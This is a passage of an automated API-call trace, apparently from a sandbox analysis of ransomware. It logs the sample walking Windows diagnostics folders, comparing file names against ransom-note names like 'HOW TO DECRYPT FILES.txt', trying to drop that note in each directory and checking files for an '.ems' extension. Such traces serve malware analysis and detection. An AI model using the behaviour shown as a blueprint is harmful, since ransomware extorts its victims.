ftCreationTime.dwLowDateTime=0xffe586d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xffe586d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe0aac9ff, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_IsWMPUnavailable.ps1", cAlternateFileName="")) returned 1 [0127.031] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.031] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_IsWMPUnavailable.ps1") returned -1 [0127.031] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_IsWMPUnavailable.ps1") returned -1 [0127.031] lstrcmpiA (lpString1="", lpString2="TS_IsWMPUnavailable.ps1") returned -1 [0127.031] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\RS_MediaLibCorrupted.ps1") returned="RS_MediaLibCorrupted.ps1" [0127.031] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\" [0127.031] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\") returned="" [0127.031] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\HOW TO DECRYPT FILES.txt" [0127.031] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayermedialibrary\\how to decrypt files.txt")) returned 0xffffffff [0127.031] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayermedialibrary\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.032] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.032] CloseHandle (hObject=0xffffffff) returned 0 [0127.032] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\", lpString2="TS_IsWMPUnavailable.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\TS_IsWMPUnavailable.ps1") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\TS_IsWMPUnavailable.ps1" [0127.032] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\TS_IsWMPUnavailable.ps1", pszSpec="*.ems") returned 0 [0127.032] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffe586d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xffe586d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe0aac9ff, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_WindowsMediaPlayer.ps1", cAlternateFileName="")) returned 1 [0127.032] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.032] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_WindowsMediaPlayer.ps1") returned -1 [0127.033] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_WindowsMediaPlayer.ps1") returned -1 [0127.033] lstrcmpiA (lpString1="", lpString2="TS_WindowsMediaPlayer.ps1") returned -1 [0127.033] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\TS_IsWMPUnavailable.ps1") returned="TS_IsWMPUnavailable.ps1" [0127.033] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\" [0127.033] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\") returned="" [0127.040] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\HOW TO DECRYPT FILES.txt" [0127.041] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayermedialibrary\\how to decrypt files.txt")) returned 0xffffffff [0127.041] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayermedialibrary\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.041] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.041] CloseHandle (hObject=0xffffffff) returned 0 [0127.041] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\", lpString2="TS_WindowsMediaPlayer.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\TS_WindowsMediaPlayer.ps1") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\TS_WindowsMediaPlayer.ps1" [0127.041] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\TS_WindowsMediaPlayer.ps1", pszSpec="*.ems") returned 0 [0127.042] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffe586d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xffe586d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe0aac9ff, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_WindowsMediaPlayer.ps1", cAlternateFileName="")) returned 0 [0127.042] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0127.042] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="WindowsMediaPlayerPlayDVD", cAlternateFileName="WINDOW~4")) returned 1 [0127.042] lstrcmpA (lpString1=".", lpString2="WindowsMediaPlayerPlayDVD") returned -1 [0127.042] lstrcmpA (lpString1="..", lpString2="WindowsMediaPlayerPlayDVD") returned -1 [0127.042] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\*.*") returned="*.*" [0127.042] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\", lpString2="WindowsMediaPlayerPlayDVD" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD" [0127.042] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0127.047] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.047] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.047] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.047] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.047] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x104a840d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x104a840d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9021a7f8, ftLastWriteTime.dwHighDateTime=0x1ca03f7, nFileSizeHigh=0x0, nFileSizeLow=0x1a0f, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DiagPackage.diagpkg", cAlternateFileName="")) returned 1 [0127.047] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.047] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.diagpkg") returned 1 [0127.047] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.diagpkg") returned 1 [0127.047] lstrcmpiA (lpString1="", lpString2="DiagPackage.diagpkg") returned -1 [0127.047] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\*.*") returned="*.*" [0127.047] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" [0127.047] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\") returned="" [0127.047] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" [0127.047] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerplaydvd\\how to decrypt files.txt")) returned 0xffffffff [0127.048] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerplaydvd\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.048] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.048] CloseHandle (hObject=0xffffffff) returned 0 [0127.049] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\", lpString2="DiagPackage.diagpkg" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\DiagPackage.diagpkg") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\DiagPackage.diagpkg" [0127.049] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\DiagPackage.diagpkg", pszSpec="*.ems") returned 0 [0127.049] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe139e, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfbe139e, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x1bb5aa10, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll", cAlternateFileName="")) returned 1 [0127.049] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.050] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll") returned 1 [0127.050] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll") returned 1 [0127.050] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll") returned -1 [0127.050] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\DiagPackage.diagpkg") returned="DiagPackage.diagpkg" [0127.050] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" [0127.050] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\") returned="" [0127.050] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" [0127.050] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerplaydvd\\how to decrypt files.txt")) returned 0xffffffff [0127.050] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerplaydvd\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.051] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.051] CloseHandle (hObject=0xffffffff) returned 0 [0127.051] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\", lpString2="DiagPackage.dll" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\DiagPackage.dll") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\DiagPackage.dll" [0127.051] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\DiagPackage.dll", pszSpec="*.ems") returned 0 [0127.051] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22d7fb6f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0127.051] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0127.051] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0127.051] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\DiagPackage.dll") returned="DiagPackage.dll" [0127.052] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\", lpString2="en-US" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US" [0127.052] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22d7fb6f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x501588, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0127.057] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.057] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22d7fb6f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0127.057] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.057] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.058] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfded41b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfded41b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a4, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CL_LocalizationData.psd1", cAlternateFileName="")) returned 1 [0127.058] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.058] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_LocalizationData.psd1") returned 1 [0127.058] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_LocalizationData.psd1") returned 1 [0127.058] lstrcmpiA (lpString1="", lpString2="CL_LocalizationData.psd1") returned -1 [0127.058] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\*.*") returned="*.*" [0127.058] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\" [0127.058] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\") returned="" [0127.058] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\HOW TO DECRYPT FILES.txt" [0127.058] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerplaydvd\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0127.058] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerplaydvd\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.059] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.059] CloseHandle (hObject=0xffffffff) returned 0 [0127.059] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\", lpString2="CL_LocalizationData.psd1" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\CL_LocalizationData.psd1") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\CL_LocalizationData.psd1" [0127.059] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\CL_LocalizationData.psd1", pszSpec="*.ems") returned 0 [0127.059] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfded41b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfded41b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll.mui", cAlternateFileName="")) returned 1 [0127.059] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.059] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll.mui") returned 1 [0127.060] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll.mui") returned 1 [0127.060] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll.mui") returned -1 [0127.060] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\CL_LocalizationData.psd1") returned="CL_LocalizationData.psd1" [0127.060] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\" [0127.060] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\") returned="" [0127.060] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\HOW TO DECRYPT FILES.txt" [0127.060] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerplaydvd\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0127.060] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerplaydvd\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.060] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.061] CloseHandle (hObject=0xffffffff) returned 0 [0127.061] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\", lpString2="DiagPackage.dll.mui" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\DiagPackage.dll.mui") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\DiagPackage.dll.mui" [0127.061] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\DiagPackage.dll.mui", pszSpec="*.ems") returned 0 [0127.061] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, 